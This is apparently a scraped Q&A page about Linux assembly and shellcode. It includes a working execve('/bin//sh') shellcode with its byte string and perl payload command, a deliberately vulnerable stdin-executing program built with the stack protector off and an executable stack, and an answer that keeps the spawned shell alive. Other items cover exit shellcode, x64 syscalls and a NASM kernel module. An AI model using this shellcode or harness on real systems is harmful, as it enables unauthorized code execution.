Shell launched from shellcode immediatly stop upon launching - linux

I will preface by saying that i did the research but couldn't found the answer to my basic problem.
I want to launch a shell from a shellcode through a basic program.
This is the shellcode used, that should be working by now:
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
The weird thing is this shellcode is working when used like so:
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
But not when read from stdin with this program (compiled with the following flags:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):
Code:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
What happen with the second program is that the program simply quits with no error code and no shell spawned.
Strace shows me that in the second program, a shell is properly launched:
read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL) = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]
But this line near the end is highly suspicious since I'm not asked to do anything:
read(0, "", 8192) = 0
It seems that I'm sending a null byte somehow to the spawned shell and it kills it. I first though that I'm not properly setting up my shellcode file, but those are the commands I use:
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin
I also tried using this command but got the same result:
perl -e 'print "[...]" | ./vuln
I also checked the chars inside the file, but the file weights 25 oct. for a shellcode of the same size so this shouldn't be the problem.
Am i using the proper way to give a shellcode from stdin or is there another way ?
If no, where does the problem come from?
Thanks

The problem is that in the second program, you've redirected standard input to the pipe. The shell that's spawned tries to read from the pipe, gets EOF, so it exits.
You can redirect standard input back to the terminal before running the shellcode.
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
freopen("/dev/tty", "r", stdin);
((func)&input)();
return 0;
}

Related

Basic input with x64 assembly code

I am writing a tutorial on basic input and output in assembly. I am using a Linux distribution (Ubuntu) that is 64 bit. For the first part of my tutorial I spoke about basic output and created a simple program like this:
global _start
section .text
_start:
mov rax,1
mov rdi,1
mov rsi,message
mov rdx,13
syscall
mov rax,60
xor rdi,rdi
syscall
section .data
message: db "Hello, World", 10
That works great. The system prints the string and exits cleanly. For the next part of my tutorial, I simply want to read one character in from the keyboard. From my understanding of this web site we change the rdi register to be 0 for a sys_read call.
I first subtract 8 from the current rsp and then load that address into the rsi register. (That is where I want to store the char). When I compile and run my program it appears to work... but the terminal seems to mimick the input I type in again.
Here is the program:
global _start
section .text
_start:
sub rsp,8 ; allocate space on the stack to read
mov rdi,0 ; set rdi to 0 to indicate a system read
mov rsi,[rsp-8]
mov rdx,1
syscall
mov rax,1
mov rdi,1
mov rsi,message
mov rdx,13
syscall
mov rax,60
xor rdi,rdi
syscall
section .data
message: db "Hello, World", 10
and this is what happens in my terminal...
matthew#matthew-Precision-WorkStation-690:~/Documents/Programming/RockPaperScissors$ nasm -felf64 rps.asm && ld rps.o && ./a.out
5
Hello, World
matthew#matthew-Precision-WorkStation-690:~/Documents/Programming/RockPaperScissors$ 5
5: command not found
matthew#matthew-Precision-WorkStation-690:~/Documents/Programming/RockPaperScissors$
The input 5 is repeated back to the terminal after the program has exited. What is the proper way to read in a single char using NASM and Linux x64?
In your first code section you have to set the SYS_CALL to 0 for SYS_READ (as mentioned rudimentically in the other answer).
So check a Linux x64 SYS_CALL list for the appropriate parameters and try
_start:
mov rax, 0 ; set SYS_READ as SYS_CALL value
sub rsp, 8 ; allocate 8-byte space on the stack as read buffer
mov rdi, 0 ; set rdi to 0 to indicate a STDIN file descriptor
lea rsi, [rsp] ; set const char *buf to the 8-byte space on stack
mov rdx, 1 ; set size_t count to 1 for one char
syscall
it appears to work... but the terminal seems to mimick the input I type in again.
No, the 5 + newline that bash reads is the one you typed. Your program waited for input but didn't actually read the input, leaving it in the kernel's terminal input buffer for bash to read after your program exited. (And bash does its own echoing of terminal input because it puts the terminal in no-echo mode before reading; the normal mechanism for characters to appear on the command line as you type is for bash to print what it reads.)
How did your program manage to wait for input without reading any? mov rsi, [rsp-8] loads 8 bytes from that address. You should have used lea to set rsi to point to that location instead of loading what was in that buffer. So read fails with -EFAULT instead of reading anything, but interestingly it doesn't check this until after waiting for there to be some terminal input.
I used strace ./foo to trace system calls made by your program:
execve("./foo", ["./foo"], 0x7ffe90b8e850 /* 51 vars */) = 0
read(0, 5
NULL, 1) = -1 EFAULT (Bad address)
write(1, "Hello, World\n", 13Hello, World
) = 13
exit(0) = ?
+++ exited with 0 +++
Normal terminal input/output is mixed with the strace output; I could have used -o foo.trace or whatever. The cleaned-up version of the read system call trace (without the 5\n mixed in) is:
read(0, NULL, 1) = -1 EFAULT (Bad address)
So (as expected for _start in a static executable under Linux), the memory below RSP was zeroed. But anything that isn't a pointer to writeable memory would have produced the same result.
zx485's answer is correct but inefficient (large code-size and an extra instruction). You don't need to worry about efficiency right away, but it's one of the main reasons for doing anything with asm and there's interesting stuff to say about this case.
You don't need to modify RSP; you can use the red-zone (memory below RSP) because you don't need to make any function calls. This is what you were trying to do with rsp-8, I think. (Or else you didn't realize that it was only safe because of special circumstances...)
The read system call's signature is
ssize_t read(int fd, void *buf, size_t count);
so fd is an integer arg, so it's only looking at edi not rdi. You don't need to write the full rdi, just the regular 32-bit edi. (32-bit operand-size is usually the most efficient thing on x86-64).
But for zero or positive integers, just setting edi also sets rdi anyway. (Anything you write to edi is zero-extended into the full rdi) And of course zeroing a register is best done with xor same,same; this is probably the best-known x86 peephole optimization trick.
As the OP later commented, reading only 1 byte will leave the newline unread, when the input is 5\n, and that would make bash read it and print an extra prompt. We can bump up the size of the read and the space for the buffer to 2 bytes. (There'd be no downside to using lea rsi, [rsp-8] and leave a gap; I'm using lea rsi, [rsp-2] to pack the buffer right below argc on the stack, or below the return value if this was a function instead of a process entry point. Mostly to show exactly how much space is needed.)
; One read of up to 2 characters
; giving the user room to type a digit + newline
_start:
;mov eax, 0 ; set SYS_READ as SYS_CALL value
xor eax, eax ; rax = __NR_read = 0 from unistd_64.h
lea rsi, [rsp-2] ; rsi = buf = rsp-2
xor edi, edi ; edi = fd = 0 (stdin)
mov edx, 2 ; rdx = count = 2 char
syscall ; sys_read(0, rsp-2, 2)
; total = 16 bytes
This assembles like so:
+ yasm -felf64 -Worphan-labels -gdwarf2 foo.asm
+ ld -o foo foo.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080
$ objdump -drwC -Mintel
0000000000400080 <_start>:
400080: 31 c0 xor eax,eax
400082: 48 8d 74 24 ff lea rsi,[rsp-0x1]
400087: 31 ff xor edi,edi
400089: ba 01 00 00 00 mov edx,0x1
40008e: 0f 05 syscall
; next address = ...90
; I left out the rest of the program so you can't actually *run* foo
; but I used a script that assembles + links, and disassembles the result
; The linking step is irrelevant for just looking at the code here.
By comparison, zx485's answer assembles to 31 bytes. Code size is not the most important thing, but when all else is equal, smaller is better for L1i cache density, and sometimes decode efficiency. (And my version has fewer instructions, too.)
0000000000400080 <_start>:
400080: 48 c7 c0 00 00 00 00 mov rax,0x0
400087: 48 83 ec 08 sub rsp,0x8
40008b: 48 c7 c7 00 00 00 00 mov rdi,0x0
400092: 48 8d 34 24 lea rsi,[rsp]
400096: 48 c7 c2 01 00 00 00 mov rdx,0x1
40009d: 0f 05 syscall
; total = 31 bytes
Note how those mov reg,constant instructions use the 7-byte mov r64, sign_extended_imm32 encoding. (NASM optimizes those to 5-byte mov r32, imm32 for a total of 25 bytes, but it can't optimize mov to xor because xor affects flags; you have to do that optimization yourself.)
Also, if you are going to modify RSP to reserve space, you only need mov rsi, rsp not lea. Only use lea reg1, [rsp] (with no displacement) if you're padding your code with longer instructions instead of using a NOP for alignment. For source registers other than rsp or rbp, lea won't be longer but it is still slower than mov. (But by all means use lea to copy-and-add. I'm just saying it's pointless when you can replace it with a mov.)
You could save even more space by using lea edx, [rax+1] instead of mov edx,1 at essentially no performance cost, but that's not something compilers normally do. (Although perhaps they should.)
You need to set eax to the system call number for read.

Unanticipated segmentation fault in C

I'm writing a Linux shell code exploit. My target C code is:
char code[] = "\xb0\x01\x31\xdb\xcd\x80";
int main(int argc, char **argv)
{
int(*func)();
func = (int (*)()) code;
(Int)(*func)();
}
Why does compiling and running this C program raise a segmentation fault error? The string is shell code that exits the program using the system call Int 0x80/EAX=1. The original exploit code in assembly is:
b0 01 mov al,0x1
31 db xor ebx,ebx
cd 80 int 0x80
You are not setting eax=0x1, you are setting al=0x1, so if you don't know what instructions are executed before that your shellcode, you will have eax=xxxxxx01.
As the comments said you, you have to do a xor eax, eax on the beginning of your shellcode.

How to ShellCode in linux with x64 processor.

I am working my way through this tutorial, but it is written for 32 bit processors. I have found this note on 64 bit linux syscall. I can compile, run and objdump it.
My question is, why is the following code generated a segmentation fault.
/* shellcodetest.c */
char code[] = "\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05";
int main(int argc, char **argv){
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
/*
exitt: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3c mov $0x3c,%al
40007d: 48 31 ff xor %rdi,%rdi
400080: 0f 05 syscall
*/
For reference syscall 60 (\x3c) is exit(). So this should just be calling exit(0);
The answer was to turn of DEP as suggested by #tylerl tylerl in the Information Security forum. #Adam-Miller explains how in the answer to
how to turn off DEP (Data Execution Prevention) without reboot? where he says, 'In linux, you can use the compiler flag "-z execstack"'

memory access when writing a linux kernel module in assembler

i try writing a kernel module in assembler. In one time i needed a global vars. I define a dword in .data (or .bss) section, and in init function i try add 1 to var. My program seccesfully make, but insmod sey me:
$ sudo insmod ./test.ko
insmod: ERROR: could not insert module ./test.ko: Invalid module format
it's my assembler code in nasm:
[bits 64]
global init
global cleanup
extern printk
section .data
init_mess db "Hello!", 10, 0
g_var dd 0
section .text
init:
push rbp
mov rbp, rsp
inc dword [g_var]
mov rdi, init_mess
xor rax, rax
call printk
xor rax, rax
mov rsp, rbp
pop rbp
ret
cleanup:
xor rax, rax
ret
if i write adding in C code, all work good:
static i = 0;
static int __init main_init(void) { i++; return init(); }
But in this objdump -d test.ko write a very stainght code for me:
0000000000000000 <init_module>:
0: 55 push %rbp
1: ff 05 00 00 00 00 incl 0x0(%rip) # 7 <init_module+0x7>
7: 48 89 e5 mov %rsp,%rbp
a: e8 00 00 00 00 callq f <init_module+0xf>
f: 5d pop %rbp
10: c3 retq
What does this mean (incl 0x0(%rip))? How can I access memory? Please, help me :)
(My system is archlinux x86_64)
my C code for correct make a module:
#include <linux/module.h>
#include <linux/init.h>
MODULE_AUTHOR("Actics");
MODULE_DESCRIPTION("Description");
MODULE_LICENSE("GPL");
extern int init(void);
extern int cleanup(void);
static int __init main_init(void) { return init(); }
static void __exit main_cleanup(void) { cleanup(); }
module_init(main_init);
module_exit(main_cleanup);
and my Makefile:
obj-m := test.o
test-objs := inthan.o module.o
KVERSION = $(shell uname -r)
inthan.o: inthan.asm
nasm -f elf64 -o $# $^
build:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
Kernel mode lives in the "negative" (ie. top) part of the address space, where 32 bit absolute addresses can not be used (because they are not sign-extended). As you have noticed, gcc uses rip-relative addresses to work around this problem which gives offsets from the current instruction pointer. You can make nasm do the same by using the DEFAULT REL directive. See the relevant section in the nasm documentation.
you can always use inline assembly
asm("add %3,%1 ; sbb %0,%0 ; cmp %1,%4 ; sbb $0,%0" \
54 : "=&r" (flag), "=r" (roksum) \
55 : "1" (addr), "g" ((long)(size)), \
56 "rm" (limit));

Linux NASM - rewriting character stored in .data segment - segfault [closed]

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
probably a very beginner's question, but I'm really interested in how to make it work.
I have following assembly code (heavily inspired from here, the rename() example):
[SECTION .text]
global _start
_start:
mov esi, msg ; saves pointer to string to ESI
xor eax, eax
mov byte [esi+6], al ; terminates first string with NULL char
mov byte [esi+13], al ; terminates second string with NULL char
mov byte al, 38 ; syscall number (38 = rename)
lea ebx, [esi] ; put the adress of /tmp/a in EBX
lea ecx, [esi+7] ; put the adress of /tmp/b in ECX
int 0x80 ; syscall execution
mov al, 0x01 ; prepare to exit!
xor ebx, ebx
int 0x80 ; exit!
[SECTION .data]
msg: db '/tmp/a#/tmp/b#'
Let me explain it: This program calls syscall rename to rename file /tmp/a to /tmp/b The string in section .data contains name of the source file and name of the target file.
Because I want to avoid NULLs, I decided to put # instead of NULLs and change it on runtime. However, the program terminates with SEGFAULT. It really seems that there is a problem with rewriting the # character(s) in .data segment. My question is - how should I deal with it and make it work? I know it's a beginner question, maybe I'm missing something very important.
Thanks for any advice.
EDIT - commands used for assembling and linking
This is for NASM:
nasm -f elf -o ThisWorks.o ThisWorks.asm
And this for linker (notice that I'm building it as 32bit, although I have 64bit Phenom II).
ld -melf_i386 -o ThisWorks.aout ThisWorks.o
Than I execute it:
./ThisWorks.aout
And the result is:
Segmentation fault
Disassembly
This is disassembly by objdump -D ThisWorks.aout
ThisWorks.aout: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: be 9c 90 04 08 mov $0x804909c,%esi
8048085: 31 c0 xor %eax,%eax
8048087: 88 46 06 mov %al,0x6(%esi)
804808a: 88 46 0d mov %al,0xd(%esi)
804808d: b0 26 mov $0x26,%al
804808f: 8d 1e lea (%esi),%ebx
8048091: 8d 4e 07 lea 0x7(%esi),%ecx
8048094: cd 80 int $0x80
8048096: b0 01 mov $0x1,%al
8048098: 31 db xor %ebx,%ebx
804809a: cd 80 int $0x80
Disassembly of section .data:
0804909c <msg>:
804909c: 2f das
804909d: 74 6d je 804910c <_end+0x60>
804909f: 70 2f jo 80490d0 <_end+0x24>
80490a1: 61 popa
80490a2: 23 2f and (%edi),%ebp
80490a4: 74 6d je 8049113 <_end+0x67>
80490a6: 70 2f jo 80490d7 <_end+0x2b>
80490a8: 62 23 bound %esp,(%ebx)
SOLUTION
The debugging has shown, that program works normally, but falls into segfault when there is no file to rename. Otherwise my code works as expected. Sorry for that.
Running your probram under strace show:
execve("./a.out", ["./a.out"], [/* 67 vars */]) = 0
[ Process PID=7054 runs in 32 bit mode. ]
rename("/tmp/a", "/tmp/b") = -1 ENOENT (No such file or directory)
syscall_4294967041(0, 0x80490a3, 0, 0x804909c, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
--- SIGSEGV (Segmentation fault) # 0 (0) ---
+++ killed by SIGSEGV +++
Segmentation fault
Conclusions:
Your problem has nothing to do with rewriting the .data section -- the rename syscall is executed as you would expect.
Your setup for exit is incorrect.
To fix it, change mov al, 0x01 to mov eax, 0x01.
Assuming you are writing shellcode: You cannot access anything in the .data segment from your shellcode, because your shellcode will execute in the process of the exploited piece of software and there will be no data segment there (or more precisely, there is only the data segment of the exploited process). Shellcode has no segmented structure, it is generally just a linear buffer of bytes. In any case, you will have to tuck your data onto the end of your shellcode.

Resources